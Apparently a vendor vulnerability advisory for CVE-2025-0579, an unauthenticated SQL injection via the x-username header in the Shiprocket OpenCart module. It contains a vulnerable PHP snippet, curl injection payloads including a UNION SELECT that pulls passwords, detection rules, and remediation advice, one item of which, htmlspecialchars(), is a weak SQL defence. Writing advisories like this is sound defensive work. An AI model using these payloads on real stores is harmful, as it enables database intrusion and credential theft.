CVE-2025-0579
Executive Summary
CVE-2025-0579 is a critical SQL injection vulnerability in the Shiprocket Module (versions 3 and 4) for OpenCart. The flaw resides in the REST API endpoint /index.php?route=extension/shiprocket/module/restapi, where the x-username HTTP header is not sanitized before being used in database queries. An unauthenticated attacker can exploit this remotely to execute arbitrary SQL commands, leading to data exfiltration, credential theft, or full server compromise. The vendor was contacted but did not respond, leaving the vulnerability unpatched. Public exploit code is available, increasing the risk of widespread attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a third-party OpenCart extension (Shiprocket Module). Since OpenCart extensions are distributed via the OpenCart marketplace or direct download, users must verify the integrity of the module files. No official patch or advisory has been released by the vendor, making this a supply chain risk for any OpenCart store using the Shiprocket Module.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code exists. Immediate action is required.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the Shiprocket Module’s REST API. The endpoint /index.php?route=extension/shiprocket/module/restapi reads the x-username HTTP header and uses it directly in a SQL query without proper sanitization or parameterization. An attacker can inject malicious SQL payloads via this header, bypassing authentication and gaining unauthorized access to the database.
Root Cause: The module fails to use prepared statements or input validation for the x-username header. The code likely concatenates the header value directly into a query string, e.g., SELECT * FROM users WHERE username = '$_SERVER['HTTP_X_USERNAME']'.
Attack Flow:
- Attacker sends a crafted HTTP request to the vulnerable endpoint with a malicious
x-usernameheader. - The header value is injected into the SQL query, allowing the attacker to manipulate the query logic.
- The attacker can extract data, modify records, or execute administrative commands.
Vulnerable vs. Patched Code
Vulnerable Code (Shiprocket Module v3/v4):
// Vulnerable: Direct concatenation of header into query
$username = $_SERVER['HTTP_X_USERNAME'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = $db->query($query);
Patched Code (Hypothetical):
// Patched: Use prepared statements
$username = $_SERVER['HTTP_X_USERNAME'];
$stmt = $db->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$result = $stmt->get_result();
Note: No official patch exists. The above is a recommended fix.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- OpenCart instance with Shiprocket Module v3 or v4.
- Network access to the vulnerable endpoint.
Exploit Steps:
- Identify the target:
http://target.com/index.php?route=extension/shiprocket/module/restapi - Send a crafted request with SQL injection payload in the
x-usernameheader.
Example using curl:
curl -X GET "http://target.com/index.php?route=extension/shiprocket/module/restapi" \
-H "x-username: ' OR '1'='1' -- -"
Advanced payload for data extraction:
curl -X GET "http://target.com/index.php?route=extension/shiprocket/module/restapi" \
-H "x-username: ' UNION SELECT username,password FROM users -- -"
Lab Setup:
- Use Docker to spin up an OpenCart instance with the vulnerable module.
- Example Docker command:
docker run -d -p 80:80 --name opencart_vuln opencart/opencart:latest
- Install Shiprocket Module v3/v4 manually.
Blue Team (Detection & Response)
Detection:
- Monitor HTTP requests for suspicious
x-usernameheaders containing SQL keywords (e.g.,OR,UNION,SELECT,--). - Enable web application firewall (WAF) rules to block SQL injection patterns.
Response:
- Immediately isolate affected servers.
- Review database logs for unauthorized queries.
- Rotate all credentials stored in the database.
- Apply virtual patching via WAF until official fix is available.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/index.php?route=extension/shiprocket/module/restapiwith unusualx-usernameheaders. - SQL error messages in HTTP responses (e.g.,
You have an error in your SQL syntax).
File IOCs:
- Modified database entries (e.g., new admin users).
- Suspicious files uploaded via SQL injection (e.g., web shells).
Log IOCs:
- Database query logs showing
UNION,OR, or--in queries. - Web server logs with
x-usernameheader containing SQL fragments.
Detection Engineering
YARA Rule
rule CVE_2025_0579_SQLi_Header {
meta:
description = "Detects SQL injection attempts via x-username header in Shiprocket Module"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-0579"
strings:
$sql_pattern1 = /x-username:\s*'.*OR.*'/
$sql_pattern2 = /x-username:\s*'.*UNION.*SELECT.*/
$sql_pattern3 = /x-username:\s*'.*--/
condition:
any of them
}
Sigma Rule
title: CVE-2025-0579 SQL Injection via x-username Header
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting Shiprocket Module REST API
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains: "route=extension/shiprocket/module/restapi"
cs-headers|contains: "x-username"
keywords:
- "OR"
- "UNION"
- "SELECT"
- "--"
condition: selection and keywords
falsepositives:
- Legitimate use of special characters in username (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-0579 SQL Injection Attempt"; flow:to_server; content:"route=extension/shiprocket/module/restapi"; http_uri; content:"x-username"; http_header_names; pcre:"/x-username:\s*'.*(OR|UNION|SELECT|--)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Shiprocket Module until a patch is available.
- Apply virtual patching using WAF rules to block SQL injection patterns in the
x-usernameheader. - Review database logs for signs of exploitation and rotate all credentials.
Long-term Fix:
- Replace the vulnerable module with a secure alternative or develop an in-house fix using prepared statements.
- Monitor the vendor’s website for any future updates.
Workaround:
- Modify the module code to sanitize the
x-usernameheader usingfilter_var()orhtmlspecialchars(). - Implement input validation to allow only alphanumeric characters.
Valters IT
Securing Digital Frontiers